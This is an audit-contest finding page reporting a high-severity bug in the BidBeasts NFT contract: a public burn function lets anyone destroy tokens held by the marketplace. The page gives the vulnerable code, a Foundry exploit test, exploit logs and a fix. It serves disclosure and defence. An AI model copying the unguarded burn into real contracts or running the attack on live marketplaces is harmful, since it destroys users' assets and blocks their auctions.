Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted burn Allows Arbitrary NFT Destruction in BidBeasts Marketplace

Root + Impact

Description

  • Normal behavior: An ERC‑721 contract should only allow the token owner (or an approved operator) to burn a token. A marketplace that custodizes NFTs (via transferFrom to the marketplace contract) expects those tokens to exist until the auction is settled or the NFT is returned to the seller.

  • Specific issue: The burn(uint256) function in BidBeasts is public and does not check ownership or approval. Any address can call burn(tokenId) and destroy a token while the marketplace holds it. If a token is burned while listed / custodized by the marketplace, subsequent attempts to finalize the sale (which call transferFrom(address(this), winner, tokenId)) revert, causing a DoS for auction settlement and potentially leaving bids/funds in an inconsistent or blocked state.

// Root cause: burn() without access control
// file: src/BidBeasts_NFT_ERC721.sol
contract BidBeasts is ERC721, Ownable(msg.sender) {
event BidBeastsMinted(address indexed to, uint256 indexed tokenId);
event BidBeastsBurn(address indexed from, uint256 indexed tokenId);
uint256 public CurrenTokenID;
constructor() ERC721("Goddie_NFT", "GDNFT") {}
function mint(address to) public onlyOwner returns (uint256) {
uint256 _tokenId = CurrenTokenID;
_safeMint(to, _tokenId);
emit BidBeastsMinted(to, _tokenId);
CurrenTokenID++;
return _tokenId;
}
@> function burn(uint256 _tokenId) public {
@> _burn(_tokenId);
@> emit BidBeastsBurn(msg.sender, _tokenId);
@> }
}

Risk

Likelihood:

  • Reason 1: Marketplaces routinely take custody of NFTs when sellers list (the listNFT call transfers the token to the marketplace). Therefore this situation occurs any time a token is listed and the marketplace holds it.

  • Reason 2: burn is callable by any address on-chain; any actor with network access (bots, adversaries, competitors) can invoke it without additional preconditions.

Impact:

  • Impact 1 -> DoS of auction settlement, marketplace cannot call transferFrom(address(this), winner, tokenId) because the token no longer exists → settleAuction or takeHighestBid revert, preventing completion of the auction.

  • Impact 2 -> Permanent loss of NFT (liveness break): the token is destroyed permanently.

  • Impact 3 -> Griefing / reputational damage: attackers can arbitrarily destroy valuable assets and disrupt marketplace operations.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ExploitBurnTest is Test, IERC721Receiver {
BidBeasts public nft;
BidBeastsNFTMarket public market;
address seller = address(0xA1);
address bidder = address(0xB0);
address attacker = address(0xD0);
// Implement IERC721Receiver so the test contract can receive minted NFTs
function onERC721Received(address, address, uint256, bytes calldata)
external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function setUp() public {
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
vm.deal(seller, 10 ether);
vm.deal(bidder, 10 ether);
vm.deal(attacker, 1 ether);
// mint tokenId 0 to this contract, then transfer to seller
uint256 tokenId = nft.mint(address(this));
nft.transferFrom(address(this), seller, tokenId);
assertEq(nft.ownerOf(tokenId), seller);
}
function test_burnListedToken_blocksSettlement() public {
uint256 tokenId = 0;
// Seller approves marketplace then lists the NFT
vm.prank(seller);
nft.approve(address(market), tokenId);
vm.prank(seller);
market.listNFT(tokenId, 0.01 ether, 0);
// Confirm marketplace holds the token
assertEq(nft.ownerOf(tokenId), address(market));
// Bidder places a valid first bid > minPrice
vm.prank(bidder);
market.placeBid{value: 0.02 ether}(tokenId);
BidBeastsNFTMarket.Bid memory hb = market.getHighestBid(tokenId);
assertEq(hb.bidder, bidder);
assertEq(hb.amount, 0.02 ether);
// Attacker burns the token while marketplace has custody
vm.prank(attacker);
nft.burn(tokenId);
// After burn, settlement should fail because token no longer exists
vm.expectRevert();
market.settleAuction(tokenId);
// Seller trying to accept highest bid should also revert
vm.prank(seller);
vm.expectRevert();
market.takeHighestBid(tokenId);
// Evidence: highest bid still recorded but NFT cannot be transferred
BidBeastsNFTMarket.Bid memory hb2 = market.getHighestBid(tokenId);
assertEq(hb2.bidder, bidder);
assertEq(hb2.amount, 0.02 ether);
}
}

Exploit Logs

Test: test_burnListedToken_blocksSettlement()PASS (gas: 215,919)

NFT Listing

BidBeasts::approve(0xA1 -> BidBeastsNFTMarket)
emit Approval(owner: 0xA1, approved: BidBeastsNFTMarket, tokenId: 0)
BidBeastsNFTMarket::listNFT(tokenId: 0, minPrice: 1e16)
emit NftListed(tokenId: 0, seller: 0xA1, minPrice: 1e16)

Bid Placement

BidBeastsNFTMarket::placeBid{value: 2e16}(tokenId: 0)
emit BidPlaced(tokenId: 0, bidder: 0xB0, amount: 2e16)
emit AuctionSettled(tokenId: 0, winner: 0xB0, seller: 0xA1, price: 2e16)
emit AuctionExtended(tokenId: 0, newDeadline: 901)

NFT Burn

BidBeasts::burn(tokenId: 0) by 0xD0
emit Transfer(from: BidBeastsNFTMarket, to: 0x0, tokenId: 0)
emit BidBeastsBurn(from: 0xD0, tokenId: 0)

Failed Settlement after Burn

BidBeastsNFTMarket::settleAuction(tokenId: 0)
← Revert: Auction has not ended
BidBeastsNFTMarket::takeHighestBid(tokenId: 0)
← Revert: ERC721NonexistentToken(0)

Recommended Mitigation

Remove or restrict the unsafe burn and add ownership/approval checks.

- function burn(uint256 _tokenId) public {
- _burn(_tokenId);
- emit BidBeastsBurn(msg.sender, _tokenId);
- }
+ // Only owner or an approved operator can burn a token.
+ function burn(uint256 _tokenId) public {
+ require(_isApprovedOrOwner(msg.sender, _tokenId), "Not owner nor approved");
+ _burn(_tokenId);
+ emit BidBeastsBurn(msg.sender, _tokenId);
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!